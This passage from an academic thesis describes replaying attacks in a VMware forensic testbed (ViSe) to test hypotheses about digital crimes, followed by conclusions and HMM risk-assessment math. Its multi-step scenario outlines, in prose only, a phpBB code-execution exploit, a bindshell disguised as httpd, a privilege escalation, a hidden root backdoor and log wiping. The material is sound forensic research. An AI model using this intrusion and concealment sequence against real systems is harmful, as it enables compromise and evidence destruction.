the virtual environment is analyzed to find the effects of the events. These effects
are in turn compared to the actual digital evidence. The purpose is to replay the
suspected attacks in a controlled environment in order to study the causes and
effects of the events involved in the attack. This allows us to replay the attack
in a forensically sound manner without compromising the integrity of the original
evidence or relying on files that have been compromised by the attacker.
As noted above, a multi-step attack can be studied as a series of interconnected
events, where the effects of one event are the causes of the subsequent event. Al-
though the digital forensic reconstruction framework separates causes and effects,
differentiating between these may be difficult in practice, as it may require exhaus-
tive testing. Using the terminology above, it is therefore assumed that event ek+1
is the transition between state sk and sk+1. sk and sk+1 contain the causes and
effects of ek+1, respectively. Depending on the evidence dynamics at play, an effect
of one event can be superseded by the effects of a later event. For example, if a file
is modified twice, only the latter modification will be represented in the timestamp
of the file. Another example occurs when a file is first deleted and then overwritten
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by other data.
In some cases, there may be several competing hypotheses about the chain
of events leading to the digital evidence found in a digital crime scene. In this
case, each hypothesis is formulated and tested separately. Based on the competing
hypotheses H0, H1, . . . , Hm, the tests may share one or more initial events. In this
case, the shared events need only be replayed once.
The methodology for testing in forensic reconstruction used in this chapter can
be expressed as a five-step process:
1. Configure testbed with appropriate software according to a hypothesis.
2. Replay attack according to the hypothesis and save snapshots for each state.
3. Acquire and verify images of all snapshots.
4. Perform analysis through the comparison of states.
5. Compare images to digital evidence to support or refute the hypothesis.
The process is shown in Figure 5.1 and can be reiterated for alternative hypotheses.
Configure testbed
Replay attack
Acquire and 
verify images
Perform analysis
Compare results to 
digital evidence
Reiterate for alternative hypotheses
Figure 5.1: Process for testing in forensic reconstructions.
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5.3 Virtualization and the ViSe Testbed
This section reviews the criteria for a forensic testbed and discusses the advantages
of virtualization in digital forensic testing. It provides an overview of VMware and
the ViSe2 [A101] testbed and consider integrity issues using ViSe as a virtualization
platform. Finally, a discussion of the digital forensic image created to aid digital
forensic testing is considered. The use of ViSe is further demonstrated through
specific examples in Sections 5.4 and 5.5.
5.3.1 Virtualization
The main criteria for choosing a testbed are resource-demands, availability and us-
ability, flexibility and efficiency, forensic soundness, and similarity to the digital
crime scene [A130]. While physical testbeds can most accurately represent a digi-
tal crime scene, there is significant overhead required for the setup, configuration,
and re-installation of the involved systems. Each hypothesis requires a separate
machine, and different hardware must be obtained to provide complete coverage of
the systems involved in an attack. Furthermore, the impracticality of restoring a
physical system to a previous state to test an alternative but similar hypothesis is
obvious.
Virtualization addresses these problems with negligible overhead. A single com-
puter can represent the entire digital crime scene, emulating different operating
systems, configurations, and services as necessary. For example, Figure 5.2 repre-
sents a VMware virtual environment, emulating a virtual network and three virtual
operating systems running Fedora Core 3. Virtualization environments are also
more portable and reusable. Images can be shared between multiple hosts, and
once a configuration is made, it can be restored later in an investigation or reused
in other investigations.
VMware 5.0 [B180] was chosen as the emulation environment for ViSe [A101],
2http://www.cs.ucsb.edu/∼rsg/ViSe/
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Virtual network
128.111.48.131
ViSe attacker
      FC3       FC3       FC3
ViSe detector ViSe victim
128.111.48.125 128.111.48.118
Figure 5.2: Example ViSe Virtual Environment.
because it contains several advantages over other emulation environments such as
Xen [B179], Microsoft Virtual PC [B166], and UML [B155]. VMware is able to
emulate both Linux and Windows, as well as any other x86 operating system. Xen
and UML are limited to selected ports or currently available operating systems, and
neither Xen nor UML could emulate Windows platforms at the time of ViSe’s cre-
ation. VMware and Microsoft Virtual PC are similar in scope and application, but
Virtual PC runs on Windows and Apple Macintosh systems, while VMware runs
on Windows and Linux systems. VMware was chosen over Virtual PC because de-
velopment in Linux provided the most ideal environment for developing and testing
malicious attacks.
5.3.2 The ViSe Testbed
The ViSe testbed was developed at UCSB to test attacks on various vulnerable
operating systems and to test intrusion detection systems. ViSe originally contained
10 operating systems and a total of 40 exploits against the programs running on
them. The operating systems included are Windows 2000, 2003, XP, Red Hat 6.2,
7.2, SuSE 9.2, Debian 3.0, Fedora Core 3, FreeBSD 4.5, and 5.4. The exploits,
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as detailed in Table 1-4 of [A101], contain both local and remote attacks. ViSe
was recently extended with an additional 30 remote attacks from the OWASP’s top
ten web application vulnerabilities framework [A127], targeting 10 web applications
running on both Windows and Linux platforms.
One reason for choosing VMware to implement ViSe is that the snapshot and
cloning features of VMware allow new images to be derived from old ones. When us-
ing the snapshot feature, new snapshots are created incrementally, i.e., only changes
are stored in the new snapshot file. The current ViSe tree requires 80 GB for 70
separate system configurations derived from the 10 base operating system images.
This is achieved by using the snapshot feature to create new configurations of a
system. This provides a tremendous space savings as compared to requiring a full
install for each configuration.
The snapshot feature allows for the creation of a tree of successive changes
derived from a base system. Each tree represents a host involved in an attack, such
as an attacker, a victim, or an IDS systems. New ViSe images are added to a tree
by making a snapshot with the desired modifications based on a previous snapshot
or root image. Unfortunately, multiple systems derived from the same tree cannot
be run simultaneously. For this purpose, it is necessary to use the “full cloning”
feature in VMware to create a full image, which uses the space requirements of
both the new files and the old configuration. The advantage of the cloning feature
is that cloned images can be run and distributed independently of the ViSe tree,
which allows the image and the events in that image to be replicated by relevant
parties.
When an attack is replayed, the attacker, the detector, and the vulnerable images
are booted, and the attack are executed according to the reconstruction hypothesis.
If the attack damages the configuration of a particular image, that image only
needs to be restored and rebooted to recover from the damage. Also, snapshots
of the images can be created and then restored, providing instantaneous recovery.
This method results in both a significant time savings and a decrease in storage
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requirements compared to using physical systems to replay an attack.
Some of the attacks in ViSe are launched using the Metasploit framework [B165].
The Metasploit framework is an open-source platform for exploit development and
testing, and it is frequently used as a tool for penetration testing and vulnerability
research. Metasploit contains a suite of exploits, which makes it s useful tool for
the experimental approach to reconstructions.
5.3.3 Integrity Issues
There are a number of integrity issues to be considered related to using VMware as
the virtualization platform for ViSe. The first issue concerns data contamination
between the host and guest operating systems. We have not been able to demon-
strate such an issue on a Fedora Core 3 system, but as a precautionary measure,
images should be isolated from each other by cloning each image on a separate san-
itized partition. Each new cloned image becomes a new ViSe image root, which is
used to create new snapshots over empty memory. This approach guarantees that
there is no data contamination between the host and the guest operating systems
nor between the different guest systems. Note that ViSe was initially designed to
be a simple security testbed with minimal space requirements, and the integrity of
the images was not a primary consideration in its initial version. As a result, the
first ViSe images were created on un-sanitized host partitions.
It should be noted that VMware image files are proprietary, and thus they
are not identical copies of system disks or partitions. However, we are only con-
cerned with the file systems contained in the VMware image files, and not with the
VMware-files themselves. The testing is performed in VMware, and the forensic
acquisition in preparation for analysis is either performed in VMware or by us-
ing the vmware-mount.pl tool for mounting VMware images. The integrity of the
disk images can be verified using one-way hash functions such as MD5, SHA-1, or
SHA256, which provide the necessary integrity for our purposes3.
3Recent research has uncovered weaknesses in MD5 and SHA-1 [A136, A137].
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Another integrity issue that should be considered is the virtual network used to
connect the images. VMware allows several different types of network connectivity
options: bridged to a physical device, a NAT to the host’s IP address, virtual image
to host-only, and custom [B180]. Only bridged networking connects the virtual net-
work to the physical network. This allows transparent connections between virtual
and physical hosts. Because the extent of all attacks was known and documented
during the creation of ViSe, images were created using static IP addresses in the
subnet of their host system. In general, however, the testbed host operating sys-
tem should be disconnected from any external networks. In particular, if the guest
operating system is able to reach external networks, the test may be compromised,
and malicious code could spread from the testbed.
The third integrity issue is the “shared folders” feature of VMware. This fea-
ture is used to allow file transfers between the host and guest systems [B180].
During ViSe’s construction, this feature was enabled to simplify the transfer of files
and data. During forensic reconstruction, it should be disabled to prevent cross-
contamination between the host and guest system. It can be re-enabled for the
purpose of analysis to facilitate external analysis and to review the results outside
of ViSe (see Section 5.3.4).
The last integrity issue involves the similarity of attacks in the virtual testbed
to attacks on physical machines. Most importantly, only a limited amount of hard-
ware devices is supported by the virtualization engines. If an attack depends on
hardware that is not emulated by the virtual machine, the attack may not be repro-
ducible on a virtual testbed. For example, the attack developed by David Maynor
and Jon Ellch [C182] (expected to be presented at BlackHat 2006) exploits specific
wi-fi drivers that may not be supported in a virtual environment. Furthermore, so-
phisticated attacks could detect and respond to the presence of VMware and other
forensic tools [B158], for example by breaking out of VMware and accessing the host
system [B173]. Another potential problem is anti-forensic attacks, which purposely
attempt to thwart forensic investigations [B153], for example by generating excess
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or confusing signatures in order to make event reconstruction difficult. Attacks such
as these are uncommon and require special consideration. They are not considered
in this chapter.
5.3.4 The Virtual Forensic Analysis Image
In order to be able to handle the test images in a forensically sound manner, a
forensic analysis system has been added to ViSe. The main purpose of this system
is to acquire copies of hard drive images from the test systems (using dcfldd4), as
well as to provide a verification of the integrity of the copies (using tools such as
md5sum and sha256sum).
The forensic analysis system is built on Fedora Core 3, and it is installed as
a new root in the ViSe tree to avoid any conflicts with the test images. Such a
conflict could, for example, occur if the LVM (Logical Volume Manager) is used.
LVM requires that the id of the underlying physical volumes be unique when the
volumes are mounted. Unfortunately, VMware’s cloning and snapshot features
retain the LVM id of the root image. Therefore, if the forensic analysis image
was added to a ViSe tree, it could not mount any other images of that same tree,
because the LVM id would already be present.
In order to avoid contamination between the external network and the forensic
analysis system, the virtual forensic analysis system is configured without a virtual
network interface. As an additional precaution, the host operating system can be
physically disconnected from the network during the analysis.
A virtual disk can be analyzed in VMware by adding it as a disk to the forensic
analysis system. This disk should be provided as an independent and non-persistent
disk, in order to prevent any changes to the image. Because VMware requires write
access to its virtual disk images, the forensic analyst has to mount them in read-only
mode to assure that the file systems of those images are not changed.
4dcfldd is a forensic version of the GNU tool dd, commonly used for copying disks and parti-
tions.
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It must be noted that in VMware it is not possible to take a snapshot of a
system with an independent disk, mount an independent disk in a snapshot, or
mount several instances of different snapshots based on the same base image. The
image acquisition either has to be performed sequentially (by rebooting the virtual
analysis host for each disk image to be analyzed) or by creating a full disk clone for
each snapshot. By using the latter method, several disks can be mounted at once.
The images to be analyzed are copied to a “shared folder” directory using
dcfldd. After all the images have been acquired and verified, the forensic anal-
ysis can be performed outside ViSe. The primary reason for this is that there is a
significant performance penalty in performing the analysis in a virtual environment
(see Section 5.6.3). By performing the analysis outside ViSe, the results are also
available for external analysis and review.
5.4 Scenario – “The Trojan Did It!”
A common theme in digital forensics is the “Trojan Defense”, where a defender
claims that his computer was hijacked by another party and used to commit a
crime. This defense has been successfully used to achieve acquittal in criminal
cases [B160, C183, A27]. This Section provides an overview of an event reconstruc-
tion experiment related to such a defense. A more detailed example with practical
results is provided in Section 5.5.
Consider the example where the defender accused of causing a denial-of-service
(DoS) attack on a web-server claims that his computer was attacked and compro-
mised by the W32/Blaster worm [B150]. The W32/Blaster worm has a backdoor
component that was allegedly used to launch the web-server attack from the host.
Based on this, a forensic investigator can formulate a hypothesis that corresponds
to the defense:
The defender’s host running Windows XP has been infected by the W32/Blaster
worm. The W32/Blaster worm has opened a backdoor on the host, which has been
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exploited by an external attacker running Linux Fedora Core 3. By using the back-
door, the attacker has launched a DoS-attack on a web server on the Internet.
If this hypothesis is validated, it can support the case of the defense. On the
other hand, if the hypothesis is refuted, the case of the defense is weakened. The
hypothesis can be seen as an event chain, as illustrated in Figure 5.3. This event
chain has three events: e1 corresponds to the worm infection, e2 corresponds to
an attacker using the worm’s backdoor, and e3 corresponds to an outbound attack
launched through the backdoor. The four states s0, s1, s2, and s3 correspond to the
states. The model is an abstraction of the involved incidents, and a more detailed
event chain could obviously be created.
Figure 5.3: State diagram for worm attack scenario.
The investigators can now perform a reconstruction experiment according to
the process in Fig. 5.1. The testbed is configured with a virtual network and the
following hosts:
• Worm source: Windows XP, infects the defender’s host with W32/Blaster
• Worm payload source
• Attacker’s host: Linux Fedora Core 3
• Defender’s host: Windows XP host
• Web server: MS IIS, target of DoS attack
Based on the specifics of the attack, third-party hosts, such as DNS servers, may
have to be included as well.
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The attack is replayed according to the hypothesis, as shown in Figure 5.4. A
VMware snapshot is taken for each of the involved hosts for every state. These
snapshots are then copied to images in a forensically sound fashion for analysis.
Timestamps and hash-sums are taken of all the images for verification purposes.
Based on these images, subsequent states are compared in order to identify all
changes between two states. These changes are the effects of an event. As previously
mentioned, some effects can be superseded by the effects of later events.
Figure 5.4: Acquisition and analysis for worm attack scenario.
Finally, the results of the experiment are compared to the digital evidence ac-
quired from the actual crime scene. If the findings of the experiment are consistent
with the digital evidence, the experiment provides support for the defender’s case.
Otherwise, a new experiment should be run based on new or modified hypotheses.
5.5 Scenario – A Multi-step Attack
In this section, the use of the ViSe testbed for testing a multi-step attack is demon-
strated. The attacks are chosen from the database of attacks available in the ViSe
testbed. As part of a criminal investigation, it is necessary to determine the chain
of events in a forensically sound manner. Based on the available evidence in the
digital crime scene, a digital forensic reconstruction is initiated and an initial hy-
pothesis is stated:
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An attack host running Fedora Core 3 has launched and completed a multi-step
attack against the victim host running Fedora Core 3. The multi-step attack con-
sists of an Nmap scan, an exploit of the phpBB 2.0.10 viewtopic.php vulnerability,
an installation of bindshell on port 12497 named httpd, an exploit of a vulnerable
iwconfig buffer overflow vulnerability, the creation of a non-root user and root back-
door, and finally the removal of traces.
In order to support or refute this hypothesis, we wish to perform an isolated
test of the multi-step attack. Virtual systems similar to the ones in the hypothesis
are set up in ViSe, and the multi-step attack is replayed as described below. When
the test is finished, the analyst can compare the effects of the attack in the virtual
environment to the digital evidence in the digital crime scene. If the identified ef-
fects do not support the hypothesis, the hypothesis should be reformulated, and the
necessary test events should be replayed. It may be necessary to include events that
are not directly related to the attack in the test, such as intentional evidence ma-
nipulation (e.g., file modifications or deletions) and regular user or system activities
(e.g., rebooting and disk defragmentation).
Note that the analyst does not need access to all the hosts involved in the
digital crime scene. The results of the test can be compared to any available evi-
dence. However, the certainty of the results is reduced when the digital evidence is
incomplete.
5.5.1 Configuring ViSe for Replaying the Attack
To replay the attack, images are derived from snapshots in the ViSe library to
represent the attack host, a detector host, and a vulnerable host. Each image is
an installation of Fedora Core 3 with system configuration and files specific to its
purpose. The attacker represents the single host conducting all the stages of the
attack, including network scanning and vulnerability exploitation. The detector
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image is running a Snort 2.4.3 IDS system. The vulnerable image snapshot is
created by adding a local system buffer overflow vulnerability (iwconfig) to a
predefined snapshot containing a remote, web-based vulnerability (phpBB 2.1.10).
Both vulnerabilities are available in the ViSe library. Each snapshot is then created
into a full-clone on a separate, zeroed-out partition, as discussed in Section 5.3.3.
Figure 5.5 shows the resulting forensic testbed.
Fedora Core 3
Vise Root
ViSe Attacker
Exploit Library
Vise Detector
Snort 2.4.2
phpBB 2.1.10
Remote
Vulnerable
Forensic
Detector
Snort 2.4.3
Forensic
Attacker
with attack
scripts
phpBB 2.1.10
+iwconfig v26
Vulnerable
ViSe Tree
Successive Snapshots
Figure 5.5: ViSe image tree for example attack.
5.5.2 Replaying the Attack
The hypothesized event chain representing the attack is divided into a number of
discrete events, each leading to a new state. Each event leads to a state snapshot
that can be examined independently in order to determine the sequence of events
leading to the final image. The effects of an event are identified by finding the
differences between two successive states. The attack is replayed as follows (the
details of the attack are provided in Appendix F):
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• Event 1: Network scan, port scan, and manual web browsing by attacker. The
attacker uses nmap to determine the vulnerable host’s address and the open
ports on the victim. The attacker then uses the ELinks web browser to visit
the web-page /phpBB2/ on the victim.
• Event 2: The attacker exploits the phpBB 2.0.10 viewtopic.php arbitrary code
execution vulnerability [B171] and gains a remote shell on the victim host with
username apache.
• Event 3: The attacker retrieves a bindshell using wget and executes it in /tmp.
The name of the bindshell is httpd, named to appear identical to the default
process run by apache. He then disconnects from his current remote shell and
connects to the listening port of the bindshell at port 12497.
• Event 4: The attacker searches for setuid programs using find and discovers
a vulnerable version of iwconfig[B145]. He retrieves an exploit using wget
and executes it, becoming root.
• Event 5: The attacker creates a non-root user bash and uses wget to retrieve
a backdoor named ”]”, which he places in /usr/bin. He then disconnects
from the bindshell.
• Event 6: The attacker logs in as the newly created user bash using ssh and
becomes root using the backdoor. The attacker then kills his old bindshell,
and removes all traces in /tmp and /var/log.
Note that there is a trade-off between the granularity of a reconstruction and the
number of events. At the highest-level of detail, every system call can be viewed as
an event. At the other extreme, an entire attack can be viewed as a single event.
5.5.3 Attack Analysis and Verification
When the attack is replayed, the different stages are represented by seven states,
as shown in Figure 5.6. Each state consists of a snapshot for each host, and one
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state is reached from the previous state by an event. Images of all the snapshots
are acquired in the ViSe forensic system using the tool dcfldd. The analysis is
performed on a non-virtual host outside ViSe, as discussed in Section 5.3.4.
Figure 5.6: State diagram for multi-step attack.
The attack is analyzed by comparing the states of the attack sequentially. Every
change between two states sk and sk+1 is considered an effect of the corresponding
event ek+1. If the effect is superseded by a later event, for instance through a file
modification or file deletion, only the latter effect is considered.
In this example, the results of the analysis is prestented in tables, where each
row indicates the host, the type of evidence, the name of the evidence identifier,
and what action has affected the evidence. We do not claim completeness of the
analysis results – the tables are intended only to demonstrate the use of ViSe and
the reconstruction methodology. For the purpose of this example, we consider only
evidence found in the file systems and log files of the victim host, as well as evidence
in the network monitoring and intrusion detection system.
Table 5.1 shows the effects of the portscan on the victim system, as well as on
the network IDS. Note that the activity has been logged in the system files, and
the Snort IDS classifies the activity as a “portscan”. The manual web browsing has
caused the web access log and two database files related to PhpBB to be updated.
The modified file/etc/cups/certs/0 is repeated throughout the experiment, and
seems to be an artifact of the Fedora Core installation used.
In Table 5.2 we see further logging on the victim system and three IDS alerts
(including one outbound alert) indicating a PHP-based attack. Both the web access
log and error log have been updated, and several PhpBB database files have been
modified.
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Table 5.1 Effects of event 1. The following notation is used: A=attack
host, V=victim host, T=third-party host, F=file, N=network, I=Snort IDS log,
C=create, M=modify, D=delete
Host Type Name Action
V F /var/log/messages M
V F /var/log/httpd/access log M
V F /var/log/secure M
V F /var/lib/mysql/mysql/phpbb sessions.MYI M
V F /var/lib/mysql/mysql/phpbb sessions.MYD M
V F /etc/cups/certs/0 M
T F /var/log/snort/snort.log.* C
T I (portscan) TCP Portsweep: Attacker C
T I (portscan) TCP Portscan: Attacker to Victim C
T N GET /phpBB2/ HTTP/1.1: Attacker to Victim:80 C
Table 5.3 indicates that a command has been run as root on the victim system
and that a new file /tmp/httpd has been generated. There is logging activity in
several system logs, but no IDS alerts have been triggered. The network dump for
the event indicates that the file httpd was downloaded by the victim host.
Table 5.4 shows the creation of two new files /tmp/iwconfig and /tmp/progs,
as well as another IDS outbound alert. Also, the network dump indicates that the
file iwconfig was downloaded by the victim host.
In Table 5.5 the user database files are updated, and a new home directory
is created with the user-name bash, and a new file “]” is created in /usr/bin.
There are no IDS alerts, but the network traffic indicates that another file has been
downloaded.
Finally, in Table 5.6 several files created during the attack are deleted, and we
see that an SSH connection has been established. The attacker has logged in and
attempted to clean up the traces by deleting all the files in /tmp and /var/log.
Based on these results, a comparison between the tables and the digital evidence
can be performed. Each table entry that is not superseded by a later event can be
compared to the digital evidence in order to support or refute the attack hypothesis.
Note that there may be several reasons why there is no match. The evidence
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Table 5.2 Effects of event 2.
Host Type Name Action
V F /var/log/httpd/error log M
V F /var/log/httpd/access log M
V F /var/log/secure M
V F /var/lib/mysql/mysql/phpbb sessions.MYI M
V F /var/lib/mysql/mysql/phpbb sessions.MYD M
V F /var/lib/mysql/mysql/phpbb topics.MYI M
V F /var/lib/mysql/mysql/phpbb topics.MYD M
V F /etc/cups/certs/0 M
T I WEB-PHP viewtopic.php access: Attacker to Victim:80 C
T I (http inspect) DOUBLE DECODING ATTACK: Attacker to
Victim:80
C
T N TCP Connection Established: Attacker to Victim:4321 C
T I ATTACK-RESPONSES id check returned userid: Victim:4321
to Attacker
C
of an attack may have been changed, deleted, or overwritten, depending on the
evidence dynamics of the evidence in question. It may be necessary to formulate
an alternative hypothesis or add new events in order to explain such discrepancies.
Table 5.3 Effects of event 3.
Host Type Name Action
V F /root/.bash history M
V F /tmp/httpd C
V F /var/log/wtmp M
V F /var/log/lastlog M
V F /var/log/messages M
V F /var/log/httpd/error log M
V F /var/run/utmp M
V F /etc/cups/certs/0 M
T N File httpd Downloaded: Victim to Attacker:80 C
T N TCP Connection Terminated: Attacker to Victim:4321 C
T N TCP Connection Established: Attacker to Victim:12497 C
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Table 5.4 Effects of event 4.
Host Type Name Action
V F /tmp/iwconfig C
V F /tmp/progs C
V F /etc/cups/certs/0 M
T N File iwconfig Downloaded: Attacker:80 to Victim C
T I ATTACK-RESPONSES id check returned root: Victim:12497
to Attacker
C
Table 5.5 Effects of event 5.
Host Type Name Action
V F /etc/shadow- M
V F /etc/gshadow- M
V F /etc/gshadow M
V F /etc/group M
V F /etc/group- M
V F /etc/shadow M
V F /etc/passwd M
V F /var/log/messages M
V F /var/log/secure M
V F /usr/bin/] C
V F /home/bash/.* C
T N File ] Downloaded: Attacker:80 to Victim C
T N TCP Connection Terminated: Attacker to Victim:12497 C
Table 5.6 Effects of event 6.
Host Type Name Action
V F /tmp/* D
V F /var/log/* D
V F /var/run/utmp M
V F /etc/cups/certs/0 M
T N SSH Connection Established: Attacker to Victim:22 C
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5.5.4 Alternative Hypothesis Formulation
Assume that we do not find support for the hypothesis in the original evidence. For
instance, assume that the effects of Event 4 (the iwconfig buffer overflow) do not
match the original evidence. In this case, we develop an alternate hypothesis and
replay the attack from the last common state. We revert to the State s3 snapshot
and create a new state diagram, represented in Figure 5.7. The alternative hy-
pothesis can be stated as follows:
An attack host running Fedora Core 3 has launched and completed a multi-step
attack against the victim host running Fedora Core 3. The multi-step attack con-
sists of an Nmap scan, an exploit of the phpBB 2.0.10 viewtopic.php vulnerability,
an installation of bindshell on port 12497 named httpd, an exploit of a cdrecord envi-
ronment variable privilege escalation vulnerability[B181], the creation of a non-root
user and root backdoor, and finally the removal of traces.
Figure 5.7: Alternative Hypothesis for a multi-step attack.
The advantage of ViSe becomes apparent when we consider the similarities of
the previous hypothesis to the alternative one proposed above. By running the new
attack from the snapshot of state s3, we create the new states s4a, s5a, and s6a,
which we can compare to the original evidence to determine similarity.
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5.6 Discussion
This chapter has demonstrated how ViSe provides an environment for efficient event
reconstruction and testing through reusable snapshots representing different states
of an attack. ViSe provides a framework with a library of operating systems, vul-
nerable services, and exploits, providing a controlled and efficient testbed for digital
forensic testing. The attack is replayed in the virtualization testbed and analyzed
with respect to an initial hypothesis. As ViSe’s library of operating systems, ser-
vices, and exploits grows, the time to construct a virtual environment corresponding
to a digital crime scene decreases. Therefore, the focus of the event reconstruction
testing is moved from setting up and running an attack to the analysis of its effects.
Although VMware supports a wide range of operating systems, there is no support
for emulation of embedded systems such as cell phones and PDAs. An extension
of ViSe to include digital event reconstruction on embedded systems is a topic for
further research.
This section evaluates some aspects related to the use of ViSe and VMware as
part of a digital forensic reconstruction. Central to the discussion is the trade-off
between the detail of reconstruction and the difficulty of performing a reconstruc-
tion.
5.6.1 Presenting a Real Case in Court
In court, a reconstruction will be subject to thorough questioning. It is essential
to convince a court that the testing is forensically sound and that it is relevant
to the original digital crime scene. Although a reconstruction can neither prove a
hypothesis with absolute certainty, nor exclude the correctness of other hypotheses,
a standardized environment, such as ViSe, combined with event reconstruction and
testing, can lend credibility to an investigation and be a great asset in court. Further
work on understanding the effects of anti-forensic tools on a reconstruction will add
value to the approach.
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The proposed approach is intended to be a part of a digital investigation. The
approach does not replace conventional digital forensics, but supplements the
forensic investigation by providing a methodology to find additional support for
hypotheses about a digital crime scene. In court, the results of a digital forensic
reconstruction can be used to provide additional support or to refute a particular
chain of events. An investigator will take the proofs acquired from the digital crime
scene and present them in court. The results of the reconstruction are then used to
support an interpretation of the evidence.
In a real case, it is essential to place the reconstruction in the context of the
crime and to present a thorough explanation of the assumptions made in the re-
construction. The initial state of the reconstruction, as hypothesized in H0, can
only be an approximation of the digital crime scene, and a good courtroom defense
lawyer will exploit any unexplained discrepancies. Furthermore, a reconstruction
must take into consideration malware and anti-forensic tools and explain what con-
sequences such tools can have on the digital evidence and on the reconstruction
itself.
5.6.2 Timing and Complexity Issues
It has been demonstrated how ViSe can be used as part of a reconstruction through
two scenarios involving the Trojan defense and a multi-step attack involving an
attacker host, a victim host, and a third party host. There are, however, cases
where ViSe and the event-based reconstruction approach is less suitable.
Some computer attacks exploit timing issues, such as race conditions, and may
be difficult or impossible to recreate in a virtual environment. Also, distributed
events are not necessarily synchronized, and the order of events may be non-
deterministic. In the worst case, a reconstruction may be impossible because of
such timing issues, or the reconstruction may have to be run on a physical testbed.
Another class of attacks that can be difficult to replay in a virtual testbed is
attacks that depend on specific network conditions or involve a high number of
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hosts. An example of such an attack is a DDoS (Distributed Denial-of-Service)
attack, where thousands of hosts may be involved in the attack of one or more
victim hosts. Large-scale worm infection is another example that involves a high
number of hosts, acting both as victims and attackers. In such cases, it may be more
fruitful to study the attack through models or simulations, as was done in [A119].
5.6.3 Performance Issues
As discussed in Section 5.3, the main performance advantage of using ViSe is that
snapshots of different system states are efficiently saved and restored. ViSe also
provides a library of reusable snapshots with different operating systems, vulner-
abilities, and exploits. This significantly reduces the time for setting up a virtual
environment for reconstruction, and it facilitates the reuse of snapshots for testing
multiple hypotheses. Different variations of an attack can be analyzed as a tree
with different branches of analysis. All of the states in the tree are stored and can
consequently be restored in reconstructions related to other investigations. In this
way, the focus of the testing is moved from setting up and configuring a testbed to
the actual digital forensic analysis.
Table 5.7 Performance comparisons.
Pentium 4 VMware
Boot time 1m9s 2m
Reboot time 1m22ss 2m20s
Take snapshot NA 8s
Restore state NA 9s
Clone full image (7.6GB) NA 8m6s
Copy partition image (dcfldd) 11m21s 48m46s
Hash all files in image (sha256deep) 3m56s 26m38s
Extract all strings from image (strings) 6m57s 118m47s
A list of some performance measurements for Fedora Core 3 has been compiled,
and it is presented in Table 5.7. The measurements are performed on a 10GB disk
image containing an ext3 partition, using the time measurement tool where ap-
plicable. The boot and reboot measurements were performed without a graphical
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user interface. It can be seen from the table that there is a relatively high perfor-
mance penalty related to some common digital forensic operations, such as string
extraction. The performance benefits of using ViSe are in the replay of the attack,
not in the analysis of the results. Therefore, it is recommend that the ViSe testbed
only be used for image acquisition and verification, as well as for the actual replay
of the attack. The forensic analysis (i.e., comparing the different states related to
an attack) should be performed on an external system.
5.6.4 Automation
As outlined in Section 5.1.3, the problem of automated forensics of both live and
already compromised systems has been investigated in several contexts. The work
published in this chapter complements many of the proposed solutions for auto-
mated forensic analysis, and it would be interesting to integrate some of these
approaches with the work presented in this chapter. Of particular importance are
the problem of generating relevant hypotheses before performing the reconstruction
experiments and the problem of performing automated comparison of the results
with the digital evidence. It is our expectation that automating these tasks will fur-
ther increase the efficiency and usability of performing reconstruction experiments
in ViSe.
Chapter 6
Conclusions
This thesis has dealt with several important aspects of risk and security manage-
ment. First, a novel method for real-time risk assessment based on hidden Markov
models was proposed, second the privacy of users in network monitoring systems
was analyzed, and a new scheme for transaction pseudonymization was proposed.
Last, an experimental approach to digital forensic event reconstructions was pro-
posed as a means for testing hypotheses about a crime or a security incident. The
contributions, with a discussion of some open research issues, are outlined below.
A novel scheme for real-time risk assessment was presented. It is intended
to increase support for efficient and appropriate response to threats in a computer
network. Alert prioritization was provided as an example of how this scheme can be
used. Based on a theoretical framework using HMMs, the scheme has been validated
using simulations, and as a prototype implementation has been tightly integrated
with the intrusion detection framework STAT. Using the prototype, experiments
have successfully been performed on both simulated attack data and real-life traffic.
The real-time risk assessment is still at the research stage, and there are several open
research issues. In particular, the system should be tested in a live setting to see
how it performs over time. The HMM variables should be estimated based on a
preliminary risk analysis, and learning algorithms should be applied for parameter
reestimation.
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The discussion of privacy and security in network monitoring has focused on
protecting the privacy of users through anonymization and pseudonymization. A
user that is subject to network monitoring is vulnerable to traffic analysis, and the
privacy of the user can easily be compromised if the protection mechanisms are
not sufficiently strong. It was shown in this thesis that existing pseudonymization
schemes are vulnerable to injection attacks, which is particularly important if mon-
itoring data is openly available or shared with third parties. Some improvements
were proposed to strengthen existing schemes, and the use of stream ciphers to pro-
vide transaction pseudonymity was proposed. It was shown how this significantly
strengthens the protection of the privacy of users. The research is a theoretical
study, and the implementation of the attacks and proposed solutions are left for
further work. Applying the attacks and remedies to real-life traffic is of particular
interest, as this would provide a valuable demonstration about the seriousness of the
attacks. The usability and efficiency of the proposed schemes is also best studied
through the use of a prototype implementation.
Finally, this thesis proposed the use of a virtual security testbed (ViSe) as a
platform for performing forensic reconstruction experiments. The approach was
demonstrated through the use of two examples, involving the Trojan defense and a
multistep attack, respectively. The proposed method can be used to support a hy-
pothesis about a digital crime, and it can be an important asset for investigators in
a court case. There are significant savings in time and resource usage, as snapshots
of the involved systems can be taken and reused. New cases can build on existing
snapshots, and alternative hypotheses can be tested with minimal reconfigurations.
A key open research issue raised by this research is the automation of the analy-
sis of event chains, as this may further improve the usability and efficiency of the
approach.
Appendix A
Real-time Risk Assessment
This appendix covers some theoretical aspects of the HMM approach to real-time
risk assessment. The two sections in this appendix are based on the appendices
in [A10] and [A60], respectively.
A.1 Computing the State Distributions
In this appendix we explain the background of Algorithms 3.1 and 3.2, i.e., how the
security state probabilities of an asset can be estimated. Note that the computations
are independent of the sensor type, hence, the k index has been omitted from the
equations in this appendix.
Recall the sequence of observed messages Y = y1, y2, . . .. Given the first obser-
vation y1 and the hidden Markov model λ = (P,Q, pi), the initial estimated state
distribution γ1(i) can be calculated as
γ1(i) = P (x1 = si|y1, λ) = P (y1, x1 = si|λ)
P (y1|λ)
=
P (y1|x1 = si, λ)P (x1 = si|λ)
P (y1|λ) .
(A.1)
To find the denominator, one can condition on the first visited state and sum
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over all possible states
P (y1|λ) =
N∑
j=1
P (y1|x1 = sj, λ)P (x1 = sj|λ)
=
N∑
j=1
qj(y1)pij.
(A.2)
Hence, by combining (A.1) and (A.2)
γ1(i) =
qi(y1)pii∑N
j=1 qj(y1)pij
, (A.3)
where qj(y1) is the probability of observing symbol y1 in state sj, and pi is the
initial state probability. To simplify the calculation of the state distribution after t
observations we use the forward-variable
αt(i) = P (y1 · · · yt, xt = si|λ), (A.4)
as defined in [A97]. By using recursion, this variable can be calculated in an efficient
way as
αt(i) =
qi(y1)pii, t = 1qi(yt)∑Nj=1 αt−1(j)pji, t > 1 (A.5)
where the initial forward variable α1(i) was found from (A.1) and (A.3) In the
derivation of αt(i) we assumed that yt only depend on xt and that the Markov
